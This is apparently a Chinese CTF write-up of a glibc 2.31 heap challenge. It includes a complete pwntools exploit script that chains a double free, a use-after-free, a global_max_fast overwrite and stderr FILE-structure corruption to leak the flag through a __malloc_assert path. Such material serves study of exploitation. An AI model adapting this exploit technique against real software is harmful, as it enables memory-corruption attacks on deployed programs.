0%

VNCTF pwn1

VNCTF pwn1

这道题鸽了有半个多月了,终于把他做完了,当时是全场零解的题,看官方wp的时候有200多行的代码,看得我头皮发麻,幸好后面找见了个比较简单的wp,但这个wp就是简略的说了一下过程,还有我没有见过的stderr利用(不懂为什么不可以使用stdout),后面实验一下

这道题的代码量挺少的,主要逻辑是两个数组储存对的地址和堆的大小,在申请的时候会对size数组遍历检查,如果为0在此处储存新堆块的大小,对应地址数组的偏移储存地址,在free的时候不会检查地址数组,只检查size数组,然后free完不会清除地址,只清除size,导致可以doublefree,如果申请的时候idx是指定的就很方便了,但是这个不是指定的,而是遍历size数组的,况且是2.31的glibc,单纯doublefree是不行的,我们得通过doublefree构造UAF,通过doublefree构造UAF的方式先free一次,在申请出来,然后再free一次,这样就构成了UAF,为了不覆盖堆地址,所以需要doublefree的idx在后面才行(当时没想到,笨)。

我感觉这道题的精华就是把一个堆同时放到tcache和unsortedbin上面,这样tcache的fd就有了libc地址了,然后使用UAF进行爆破(有leak就不用这么麻烦了)。

主要思路

先在flag附近申请一个指定的堆块,然后利用UAF打global_max_fast,然后把这个堆块free到stderr的write_base上面,再利用UAF打stderr,修改flag和write_base的最后一个字节,至于为什么要改,因为这个堆的地址大于储存flag的地址,所以得改小,最后修改topchunk的size的大小和prev_size(0),最后申请一个大堆块,就会触发io_new_file_xsputn,这个函数在stdout就介绍过了,里面有一个sys_write()函数,只要file结构体的flag满足条件就行,这样就有了io函数了,就能输出flag值了。

这是我写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.log_level='debug'
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')

def add(size):
sh.sendafter('Choice:','1')
sh.sendafter('Size:',str(size))

def edit(idx,context):
sh.sendafter('Choice:','2')
sh.sendafter('Index:',str(idx))
sh.sendafter('Content:',context)

def free(idx):
sh.sendafter('Choice:','3')
sh.sendlineafter('Index:',str(idx))

def exp():
add(0x14b0)#0
for i in range(7):
add(0x40)#1-7
for i in range(7):
add(0x50)#8-14
add(0x100)#15
add(0x110)#16
add(0x120)#17
add(0x440)#18
for i in range(1,8):
free(i)
for i in range(8,15):
free(i)
free(15)
add(0x100)#1->15
for i in range(7):
free(15)
edit(1,p64(0)*2)
free(15)

#fast->0x1eeb80 stderr->0x1ec5c0
add(0x10)#2
add(0xe0)#3
edit(1,'\x80\xcb')
add(0x100)#4

free(16)
add(0x110)#5->16
for i in range(7):
free(16)
edit(5,p64(0)*2)
free(16)
add(0x20)#6
add(0xe0)#7
edit(5,'\xc0\xa5')
add(0x110)#8
free(18)
add(0x440)#9
free(18)
add(0x430)#10
edit(9,'a'*0x430+p64(0)+p64(123))
add(0x100)#11
edit(11,p64(0x7fffffffffff))
free(0)
add(0x110)#0
edit(0,p64(0xfbad1887) + p64(0)*3 + b'\x00')
edit(11,p64(0x80))
gdb.attach(sh)
add(0x888)
print sh.recv()
sh.interactive()

exp()

感觉对其中的调用链很模糊,再研究研究

stdout

之前能使用stdout进行leak最主要的原因是puts函数调用了_IO_file_xsputn函数,而_IO_file_xsputn函数会最终会调用io_overflow函数,io_overflow函数最后又会调用io_do_write函数,io_do_write函数又会调用new_do_write

注意上面的调用链是一定的,调用_IO_file_xsputn函数以后最后一定会调用new_do_write函数,而new_do_wirte函数就是我们要利用的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
...
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
// 调用函数输出输出缓冲区
count = _IO_SYSWRITE (fp, data, to_do); //最终输出
...

return count;
}

注意有个write的系统调用,把data输出到fp,fp如果是stdout或者是stderr,那就相当于把data输出到屏幕,之前对flag的设置就是为了new_do_write函数能走到_IO_SYSWRITE (fp, data, to_do)

这道题之所以不能用stdout是因为输出函数是write函数,没有调用_IO_file_xsputn函数

stderr

经过gdb的调试我找见了脚本最后的调用链malloc->_int_malloc->sysmalloc->__malloc_assert->__fxprintf->buffered_vfprintf->_IO_file_xsputn,这就和上面的stdout泄露的调用链连上了,虽然找见了调用链但是过程不是很清晰,和houseofkiwi扯上关系了,以后再学习叭,现在夜深了。

我找见了进入__malloc_assert函数的源码,其中刷新stderr是利用的__fxprintf,house of kiwi使用的是fflush(stderr)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# define __assert_fail(assertion, file, line, function)			\
__malloc_assert(assertion, file, line, function)

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

看了会house of kiwi不算很难,可以专门学习一波。

总结

当没有puts函数的时候,可以使用这个方法刷新srderr泄露信息,注意这种利用方式会导致程序退出,不适合泄露libc地址(除非没开aslr)。